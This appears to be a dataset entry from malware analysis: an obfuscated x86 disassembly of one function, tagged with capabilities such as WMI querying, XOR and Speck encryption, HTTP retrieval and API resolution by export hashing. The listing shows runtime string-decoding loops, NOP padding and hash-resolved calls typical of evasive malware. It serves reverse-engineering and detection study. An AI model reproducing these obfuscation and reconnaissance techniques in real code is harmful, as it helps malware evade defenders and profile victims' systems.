Function at 0x435c60
Capabilities:
Connect to wmi namespace via wbemlocator
Encode data using xor
Encrypt data using speck
Get http document via iwebbrowser2
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff8
sub esp, 0xa0
mov eax, dword [ebp + 8]
mov dword [esp + 0x70], eax
mov eax, dword [0x448330]
mov dword [esp + 4], eax
mov dword [esp + 0x58], 0x707f7e65
mov ecx, 0x233e9d5
mov edx, 0xa
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov edi, edx
and edi, 0xc
mov esi, ecx
and esi, 0x232e013
or esi, edi
lea edi, [ecx - 0x233e9d0]
and edi, 0xc
xor edi, 0x14cc040c
or esi, edi
movzx edi, byte [esp + ecx - 0x233e97d]
xor esi, edi
mov ebx, esi
and ebx, 0x57
add ebx, ebx
xor esi, 0x9b
xor ebx, 0x88
add ebx, esi
inc bl
mov byte [esp + ecx - 0x233e97d], bl
inc ecx
dec edx
cmp ecx, 0x233e9d9
jne 0x435ca0
mov ecx, dword [esp + 0x58]
mov dword [esp + 8], 0x52515022
xor ebx, ebx
mov edx, ebx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, ebx
add al, 0x67
xor al, byte [esp + ebx + 8]
add al, 0xc8
mov byte [esp + ebx + 8], al
mov eax, ebx
xor eax, 0x7ffffffe
or edx, 1
and edx, eax
add edx, edx
mov eax, edx
and eax, ebx
or edx, ebx
xor edx, 1
add edx, eax
mov ebx, edx
cmp edx, 4
jb 0x435d10
mov edx, dword [esp + 8]
mov dword [esp + 0xc], 0x24f02204
mov dword [esp + 0x10], 0x38d426ac
mov dword [esp + 0x14], 0x3cde3acd
mov dword [esp + 0x18], 0x30fb3ec0
mov dword [esp + 0x1c], 0x34ca32c3
mov dword [esp + 0x20], 0xc8d236c3
mov dword [esp + 0x24], 0xcccbcaec
xor ebx, ebx
nop
nop
nop
nop
mov eax, ebx
add al, 0x69
xor al, byte [esp + ebx + 0xc]
add al, 0xb8
mov byte [esp + ebx + 0xc], al
inc ebx
cmp ebx, 0x1c
jne 0x435d80
lea eax, [esp + 0x48]
lea ebx, [esp + 0x80]
lea edi, [esp + 0xc]
push eax
push ecx
push ebx
push edx
push edi
push 0
call dword [esp + 0x1c]
test eax, eax
jns 0x435e6d
mov word [esp + 0xc], 0x2c2
xor eax, eax
nop
movzx edx, byte [esp + eax + 0xc]
lea ecx, [eax + 0x3b93ec49]
lea esi, [edx + edx]
not esi
add esi, edx
lea edi, [eax*2 + 0x7727d892]
not edi
lea ebx, [eax + edi]
add ebx, 0x3b93ec49
and ebx, edx
not edx
or edx, esi
and edx, ecx
or ebx, edx
add bl, 0xb8
mov byte [esp + eax + 0xc], bl
lea eax, [eax + eax*2]
xor eax, 1
cmp eax, 2
jb 0x435dc0
movzx eax, word [esp + 0xc]
mov word [esp + 0x80], ax
mov word [esp + 0xc], 0x7ba0
xor eax, eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx ecx, byte [esp + eax + 0xc]
mov edx, eax
or edx, 0x2a
and edx, ecx
add edx, edx
lea esi, [eax + ecx]
add esi, 0xdf292911
mov ecx, esi
sub ecx, edx
and esi, 1
or ecx, 1
add ecx, esi
add cl, 0xc8
mov byte [esp + eax + 0xc], cl
lea eax, [eax + eax*2]
xor eax, 1
cmp eax, 2
jb 0x435e20
movzx eax, word [esp + 0xc]
mov word [esp + 0x82], ax
lea ebx, [esp + 0x80]
lea edi, [esp + 0xc]
mov dword [esp + 0x84], 0x5c
mov dword [esp + 0x54], 0xcb71d44c
mov dword [esp + 0x50], 0xe8cacfff
mov dword [esp + 0x4c], 0xe4f322ae
mov dword [esp + 0x48], 0xf2d48b59
mov dword [esp + 8], 0
lea eax, [esp + 8]
push eax
push 0x43f678
push 1
push 0
push 0x43f688
call dword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
js 0x436443
mov dword [esp + 0xc], 0xa0f0aeff
mov dword [esp + 0x10], 0xa4f7a2fe
mov dword [esp + 0x14], 0xb8e4a609
mov dword [esp + 0x18], 0xbce6bae0
mov dword [esp + 0x1c], 0xb0cdbeeb
mov word [esp + 0x20], 0xb2b1
mov eax, 0xe9e0bc7b
mov ecx, 0xd3c178f6
nop
nop
nop
nop
nop
nop
movzx esi, byte [esp + eax + 0x161f4391]
mov edi, ecx
and edi, 0x1100410a
mov edx, eax
xor edx, 0x757d9d7a
sub edx, edi
add edx, 0xe9e0bc7b
xor edx, esi
lea esi, [edx*2 + 2]
inc edx
and esi, 0x52
xor edx, 0xd6
sub edx, esi
add dl, 2
mov byte [esp + eax + 0x161f4391], dl
inc eax
add ecx, 2
cmp eax, 0xe9e0bc91
jne 0x435f00
lea edi, [esp + 0xc]
push edi
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov esi, eax
mov eax, dword [esp + 8]
mov ecx, dword [eax]
lea edx, [esp + 0x44]
push edx
push 0
push 0
push 0
push 0
push 0
push 0
push esi
push eax
call dword [ecx + 0xc]
test eax, eax
js 0x436432
push 0
push 0
push 3
push 3
push 0
push 0
push 0xa
push dword [esp + 0x60]
call dword [sym.imp.ole32.dll_CoSetProxyBlanket]
test eax, eax
js 0x436428
mov dword [esp + 0x98], esi
mov dword [esp + 0xc], 0x63336137
mov dword [esp + 0x10], 0x67666528
mov eax, 0xf13e6560
mov ecx, 0x19a9f
nop
nop
nop
nop
movzx edi, byte [esp + eax + 0xec19aac]
lea edx, [edi + edi]
not edx
add edx, edi
lea esi, [ecx - 0x19a00]
and esi, edi
not edi
or edi, edx
mov ebx, eax
and ebx, 0xa0062145
mov edx, ecx
and edx, 0x18282
or edx, ebx
xor edx, edi
or edi, eax
xor edx, 0x5d
and edx, edi
or edx, esi
mov byte [esp + eax + 0xec19aac], dl
inc eax
dec ecx
cmp eax, 0xf13e6568
jne 0x435fc0
lea edi, [esp + 0xc]
push edi
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov ebx, eax
mov dword [esp + 0xc], 0xe9ade755
mov dword [esp + 0x10], 0xeda9eba6
mov dword [esp + 0x14], 0xd164efad
mov dword [esp + 0x18], 0xd5bed3b2
mov dword [esp + 0x1c], 0xd99ed7b6
mov dword [esp + 0x20], 0xdd93db68
mov dword [esp + 0x24], 0xc1a0df93
mov dword [esp + 0x28], 0xc56dc375
mov dword [esp + 0x2c], 0xc99bc768
mov dword [esp + 0x30], 0xcd73cb98
mov dword [esp + 0x34], 0x3179cf8c
mov dword [esp + 0x38], 0x3587337d
mov word [esp + 0x3c], 0x3736
mov eax, 0x6801f8a9
mov ecx, edi
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx edx, byte [ecx]
lea esi, [eax - 0x6801f800]
and esi, edx
or edx, eax
not edx
or edx, esi
mov esi, 0x35
sub esi, edx
add edx, 0xca
and esi, 0x7a
and edx, 0x85
sub edx, esi
mov byte [ecx], dl
inc ecx
dec eax
cmp eax, 0x6801f877
jne 0x436090
lea eax, [esp + 0xc]
push eax
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov esi, dword [esp + 0x44]
mov ecx, dword [esi]
lea edx, [esp + 0x7c]
push edx
push 0
push 0x30
mov dword [esp + 0x9c], eax
push eax
mov dword [esp + 0xa4], ebx
push ebx
push esi
call dword [ecx + 0x50]
test eax, eax
lea ebx, [esp + 0x80]
js 0x436409
mov dword [esp + 0x74], 0
mov eax, dword [esp + 0x7c]
mov ecx, dword [eax]
lea edx, [esp + 0x74]
lea edi, [esp + 0x78]
push edx
push edi
push 1
push 0xffffffffffffffff
push eax
call dword [ecx + 0x10]
test eax, eax
js 0x4363fb
cmp eax, 1
je 0x4363fb
cmp dword [esp + 0x74], 0
je 0x4363fb
lea esi, [esp + 0x58]
push esi
call dword [sym.imp.OLEAUT32.dll_VariantClear]
mov eax, dword [esp + 0x78]
mov dword [esp + 0xc], 0x14f612c2
mov dword [esp + 0x10], 0x28ee16e7
mov dword [esp + 0x14], 0x2cd72ac8
mov dword [esp + 0x18], 0x20da2ef3
mov dword [esp + 0x1c], 0x24c122dc
mov dword [esp + 0x20], 0x38d526c0
mov word [esp + 0x24], 0x3a39
xor ecx, ecx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov edx, ecx
add dl, 0xd9
xor dl, byte [esp + ecx + 0xc]
add dl, 0x38
mov byte [esp + ecx + 0xc], dl
inc ecx
cmp ecx, 0x1a
jne 0x436190
mov ecx, dword [eax]
push 0
push 0
push esi
push 0
lea edx, [esp + 0x1c]
push edx
push eax
call dword [ecx + 0x10]
test eax, eax
js 0x4363ea
cmp word [esp + 0x58], 8
jne 0x4363ea
mov esi, dword [esp + 0x60]
movzx ecx, word [esi]
test cx, cx
je 0x436213
lea eax, [esi + 2]
xor edx, edx
jmp 0x4361ec
inc edx
movzx ecx, word [eax]
add eax, 2
test cx, cx
je 0x436215
cmp cx, 0x7f
jbe 0x4361e0
mov edi, edx
movzx edx, cx
cmp edx, 0x7ff
ja 0x436206
mov edx, edi
add edx, 2
jmp 0x4361e1
cmp cx, 0xffff
mov edx, edi
je 0x4361e1
add edx, 3
jmp 0x4361e1
xor edx, edx
lea eax, [edx + 1]
push eax
mov edi, edx
call fcn.00407fb0
add esp, 4
mov dword [esp + 0x40], eax
mov dword [esp + 4], eax
mov dword [esp + 0x6c], edi
test edi, edi
je 0x436389
movzx eax, word [esi]
mov ecx, dword [esp + 0x40]
mov dword [esp + 4], ecx
test ax, ax
je 0x436389
mov edx, dword [esp + 0x6c]
mov ecx, dword [esp + 0x40]
mov dword [esp + 4], ecx
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx eax, ax
lea ecx, [esi + 2]
cmp ax, 0x7f
ja 0x436280
mov esi, dword [esp + 4]
lea edi, [esi + 1]
mov byte [esi], al
mov eax, esi
mov esi, ecx
jmp 0x436320
cmp eax, 0x7ff
ja 0x4362b1
cmp edx, 2
jb 0x4362b1
mov ebx, eax
shr ebx, 6
xor bl, 0xc0
mov esi, dword [esp + 4]
mov byte [esi], bl
lea ebx, [esp + 0x80]
and al, 0x3f
or al, 0x80
mov byte [esi + 1], al
mov eax, esi
lea edi, [esi + 2]
mov esi, ecx
jmp 0x436320
mov edi, eax
and edi, 0xfc00
cmp edi, 0xd800
jne 0x43633a
cmp edx, 4
jb 0x43633a
movzx ecx, word [esi + 2]
shl eax, 0xa
lea ebx, [eax + ecx]
add ebx, 0xfca02400
mov edi, ecx
mov eax, ebx
shr eax, 0x12
add al, 0xf0
mov ecx, dword [esp + 4]
mov byte [ecx], al
mov eax, ebx
shr eax, 0xc
and al, 0x3f
or al, 0x80
mov byte [ecx + 1], al
shr ebx, 6
and bl, 0x3f
or bl, 0x80
mov byte [ecx + 2], bl
mov al, 0x3f
mov ebx, edi
sub al, bl
lea ebx, [esp + 0x80]
and al, 0x3f
xor al, 0xbf
mov byte [ecx + 3], al
mov eax, ecx
lea edi, [ecx + 4]
add esi, 4
nop
nop
nop
nop
nop
nop
nop
add edx, eax
sub edx, edi
mov dword [esp + 4], edi
movzx eax, word [esi]
test ax, ax
je 0x436389
test edx, edx
jne 0x436260
jmp 0x436389
movzx esi, di
cmp esi, 0xdc00
jne 0x436349
mov esi, ecx
jmp 0x436328
cmp edx, 3
mov esi, ecx
jb 0x436381
mov ebx, eax
shr ebx, 0xc
or bl, 0xe0
mov ecx, dword [esp + 4]
mov byte [ecx], bl
mov ebx, eax
shr ebx, 6
and bl, 0x3f
or bl, 0x80
mov byte [ecx + 1], bl
lea ebx, [esp + 0x80]
and al, 0x3f
or al, 0x80
lea edi, [ecx + 3]
mov byte [ecx + 2], al
mov eax, ecx
jmp 0x436320
mov eax, dword [esp + 4]
mov edi, eax
jmp 0x436320
mov eax, dword [esp + 4]
mov byte [eax], 0
mov edx, dword [esp + 0x40]
mov eax, dword [edx]
mov dword [esp + 0x48], eax
mov ecx, dword [esp + 0x6c]
mov eax, ecx
not eax
and eax, 4
and ecx, 0xfffffffb
sub ecx, eax
cmp ecx, 4
jb 0x4363dd
mov eax, dword [edx + 4]
mov dword [esp + 0x4c], eax
mov eax, ecx
not eax
and eax, 4
and ecx, 0xfffffffb
sub ecx, eax
cmp ecx, 4
jb 0x4363dd
mov eax, dword [edx + 8]
mov dword [esp + 0x50], eax
and ecx, 0xfffffffc
cmp ecx, 4
je 0x4363dd
mov eax, dword [edx + 0xc]
mov dword [esp + 0x54], eax
push edx
call fcn.00407fc0
add esp, 4
lea esi, [esp + 0x58]
push esi
call dword [sym.imp.OLEAUT32.dll_VariantCopy]
mov eax, dword [esp + 0x78]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov eax, dword [esp + 0x7c]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
lea edi, [esp + 0xc]
mov esi, dword [sym.imp.OLEAUT32.dll_SysStringLen]
push dword [esp + 0x94]
call esi
push dword [esp + 0x90]
call esi
mov esi, dword [esp + 0x98]
mov eax, dword [esp + 0x44]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
push esi
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
mov eax, dword [esp + 8]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
push 0xb65c016e
push dword [0x447328]
call fcn.0043b990
add esp, 8
push 0
push 0
push 0
push 0
push edi
push 0
push 0
push ebx
call eax
test eax, eax
je 0x436472
mov eax, dword [esp + 0xc]
mov dword [esp + 0x48], eax
xor esi, esi
jmp 0x43648f
inc esi
add dword [esp + 0x70], 8
cmp esi, 4
je 0x4365a4
mov eax, 0
test esi, esi
je 0x4364af
cmp dword [esp + esi*4 + 0x48], 0
mov eax, esi
jne 0x4364af
mov ecx, esi
xor ecx, 1
mov eax, esi
and eax, 2
add eax, eax
sub eax, ecx
mov eax, dword [esp + eax*4 + 0x48]
mov dword [esp + 4], eax
mov dword [esp + 0x58], 0x361fdcf6
mov ecx, 0x86d6e96b
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx edi, byte [esp + ecx + 0x792916ed]
lea edx, [ecx + 0x3c948b00]
mov ebx, ecx
and ebx, edi
or edx, edi
xor edx, ebx
add edx, 0xe4a45ca7
mov edi, edx
and edi, 1
xor edx, 1
lea edx, [edx + edi*2]
mov byte [esp + ecx + 0x792916ed], dl
inc ecx
cmp ecx, 0x86d6e96f
jne 0x4364d0
mov ecx, dword [esp + 0x58]
mov dword [esp + 0xc], 0x7044930b
mov dword [esp + 0x10], 0x1f1e1d1c
mov edx, 0x87a632d8
movzx eax, byte [esp + edx + 0x7859cd34]
mov ebx, eax
and ebx, edx
add bl, bl
sub al, bl
movzx eax, al
add eax, edx
add al, 0x40
mov byte [esp + edx + 0x7859cd34], al
inc edx
cmp edx, 0x87a632e0
jne 0x436520
imul ecx, dword [esp + 4]
add ecx, dword [esp + 0xc]
mov dword [esp + esi*4 + 0x48], ecx
mov edi, 0xffffffff
mov ebx, 0xfffffffe
push 0x10
push 9
push dword [esp + 0x78]
push ecx
call fcn.0041d340
add esp, 0x10
nop
add ebx, 2
cmp byte [eax + edi + 1], 0
lea edi, [edi + 1]
jne 0x436570
xor edi, 8
not ebx
and ebx, 0x10
mov ecx, ebx
sub ecx, edi
je 0x436480
sub edi, ebx
add eax, edi
push ecx
push 0x30
push eax
call fcn.00408150
add esp, 0xc
jmp 0x436480
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret